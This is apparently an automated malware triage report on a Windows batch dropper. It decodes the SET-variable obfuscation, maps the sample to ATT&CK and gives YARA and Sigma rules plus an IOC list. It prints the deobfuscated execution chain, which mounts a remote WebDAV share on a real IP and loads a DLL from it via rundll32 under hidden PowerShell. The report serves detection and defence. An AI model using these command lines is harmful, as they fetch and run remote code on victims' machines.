typeanalysisfamilyunclassified-js-webdav-dropperconfidencehighscriptdropperc2obfuscationdefense-evasionexecution
SHA-256: ceacabb454c24502a8a479f714cea6fe0be302f7f29313bebd6c7accc4117af1

unclassified-js-webdav-dropper: ceacabb4 — mnihx-prefix SET batch, 45.9.74.32:8888, rundll32 entry

A 2.15 KB Windows batch script (712921366744125435.bat) using 36 shared-prefix SET variables (mnihx + 5-char suffix) to obfuscate a WebDAV mount + rundll32 execution chain. Fourteenth confirmed sibling of the unclassified-js-webdav-dropper family. C2 IP 45.9.74.32:8888 and rundll32 execution pattern match siblings e777fd64, ed6b2cd3, and c6e24c16 exactly; only the variable prefix (mnihx), payload filename (1150.dll), and variable count (36 vs. 30 in prior siblings) differ. ^[file.txt] ^[strings.txt]

What It Is

Field Value Source
SHA-256 ceacabb454c24502a8a479f714cea6fe0be302f7f29313bebd6c7accc4117af1 metadata.json
Filename 712921366744125435.bat metadata.json
Size 2,150 bytes metadata.json
Type ASCII text, very long lines (1266), CRLF file.txt
Family unclassified-js-webdav-dropper Cluster match — shared-prefix SET obfuscation, WebDAV C2, rundll32 execution
C2 45.9.74.32:8888 strings.txt
Payload 1150.dll strings.txt

How It Works

Three lines, no persistence, no sandbox gate:

  1. Variable assignment — 36 SET statements with shared prefix mnihx + random 5-character suffix, each mapped to a single alphanumeric character. All chained on one line with && separators. ^[strings.txt:1]

  2. Decoycolor f0 (black-on-white console) and start wordpad (launches WordPad to distract the user). Same decoy pattern used in siblings e777fd64, ed6b2cd3, c6e24c16, ffd5d894, e9e82d14, and f170f5a9. ^[strings.txt:2]

  3. Payload executionstart powershell.exe -windowstyle hidden wrapping:

    • net use \\45.9.74.32@8888\davwwwroot\ — mounts the attacker WebDAV share
    • rundll32 \\45.9.74.32@8888\davwwwroot\1150.dll,entry — loads the remote DLL via rundll32.exe, calling the entry export ^[strings.txt:3]

This is the same execution chain as sibling e777fd64 (3682.dll, hbutc prefix), ed6b2cd3 (1995.dll, labzf prefix), and c6e24c16 (3500.dll, nmnmd prefix). The only deltas are the SET prefix and payload filename.

Notable: This sibling uses 36 variables rather than the 30 observed in the three prior 45.9.74.32:8888 siblings. The additional 6 characters encode the same command set (the extra variables appear to be unused in the decoded payload). This suggests either automated generation with variable count jitter or copy-paste mutation from a larger template. ^[strings.txt:1]

C2 Infrastructure

Indicator Value Notes
IP 45.9.74.32 45.9.74.0/24 subnet shared with siblings da58243c (45.9.74.13), ffd5d894 (45.9.74.36), e777fd64 (45.9.74.32), e9e82d14 (45.9.74.36), ed6b2cd3 (45.9.74.32), f170f5a9 (45.9.74.36), c6e24c16 (45.9.74.32) ^[strings.txt:3]
Port 8888 Non-standard HTTP/WebDAV port, consistent across all family siblings
Path \davwwwroot\ IIS WebDAV default virtual directory
Payload 1150.dll Short numeric throwaway name, consistent with family staging pattern (67.dll, 24013635923706.dll, 30122106810637.dll, 3682.dll, 1995.dll, 3500.dll, etc.)
Execution rundll32 ... ,entry Calls entry export; no regsvr32 used in this sibling

Deploy / ATT&CK

Tactic Technique Evidence
Execution T1059.003 (Windows Command Shell) cmd.exe executes batch layer ^[strings.txt:1]
Execution T1059.001 (PowerShell) powershell.exe -windowstyle hidden wrapper ^[strings.txt:3]
Execution T1218.011 (Rundll32) rundll32 \\45.9.74.32@8888\davwwwroot\1150.dll,entry ^[strings.txt:3]
Defense Evasion T1218 (System Binary Proxy Execution) rundll32.exe is a signed system binary; wordpad decoy reinforces legitimacy ^[strings.txt:3]
Defense Evasion T1027 (Obfuscated Files or Information) Shared-prefix SET variable expansion obfuscation ^[strings.txt:1]
Command & Control T1071.001 (Web Protocols) WebDAV over HTTP (\\45.9.74.32@8888\DavWWWRoot\) ^[strings.txt:3]
Command & Control T1105 (Ingress Tool Transfer) net use mounts WebDAV share; rundll32 fetches and loads remote DLL ^[strings.txt:3]

Sibling Delta

Sibling Size Type Obfuscation C2 Payload Execution Decoy
e777fd64 ~2 KB Pure batch Shared-prefix SET (hbutc, 30 vars) 45.9.74.32 3682.dll rundll32 ... ,entry wordpad
ed6b2cd3 ~2.1 KB Pure batch Shared-prefix SET (labzf, 30 vars) 45.9.74.32 1995.dll rundll32 ... ,entry wordpad
c6e24c16 ~2 KB Pure batch Shared-prefix SET (nmnmd, 30 vars) 45.9.74.32 3500.dll rundll32 ... ,entry wordpad
ceacabb4 ~2.1 KB Pure batch Shared-prefix SET (mnihx, 36 vars) 45.9.74.32 1150.dll rundll32 ... ,entry wordpad

Deployable Signatures

YARA

rule WebDAV_Rundll32_Batch_Dropper_mnihx {
    meta:
        description = "WebDAV batch dropper with shared-prefix SET obfuscation and rundll32 execution"
        author = "triage"
        family = "unclassified-js-webdav-dropper"
        sha256 = "ceacabb454c24502a8a479f714cea6fe0be302f7f29313bebd6c7accc4117af1"
    strings:
        $set_mnihx = "set mnihx" nocase
        $c2_ip = "45.9.74.32" nocase
        $webdav = "davwwwroot" nocase
        $rundll32 = "rundll32" nocase
        $dll_entry = ".dll,entry" nocase
    condition:
        all of them
}

Hunt Query (Sigma — Windows Command Line)

title: WebDAV Batch Dropper - rundll32 Remote DLL Load
logsource:
    category: process_creation
    product: windows
detection:
    selection:
        CommandLine|contains:
            - 'rundll32 \\45.9.74.32@8888\davwwwroot\'
            - 'rundll32 \\45.9.74.32@8888\DavWWWRoot\'
    condition: selection
falsepositives:
    - Unknown
level: critical

IOC List

Type Value Context
SHA-256 ceacabb454c24502a8a479f714cea6fe0be302f7f29313bebd6c7accc4117af1 Batch dropper
Filename 712921366744125435.bat Distribution name
IP 45.9.74.32 WebDAV C2 host
Port 8888 WebDAV port
Payload 1150.dll Remote DLL fetched via rundll32
Execution rundll32 \\45.9.74.32@8888\davwwwroot\1150.dll,entry Complete command line

References

Provenance

  • file.txtfile(1) output, ASCII text with CRLF
  • metadata.json — OpenCTI artifact metadata, size 2150 bytes
  • strings.txt — Full batch script content, lines 1–3
  • triage.json — Triage pipeline classification, tier deep, no family attribution
  • Capa / floss / binwalk — skipped (not a binary target)
  • CAPE — skipped (ASCII text, not a supported binary class)
  • No dynamic analysis available; all behavior inferred from static script deobfuscation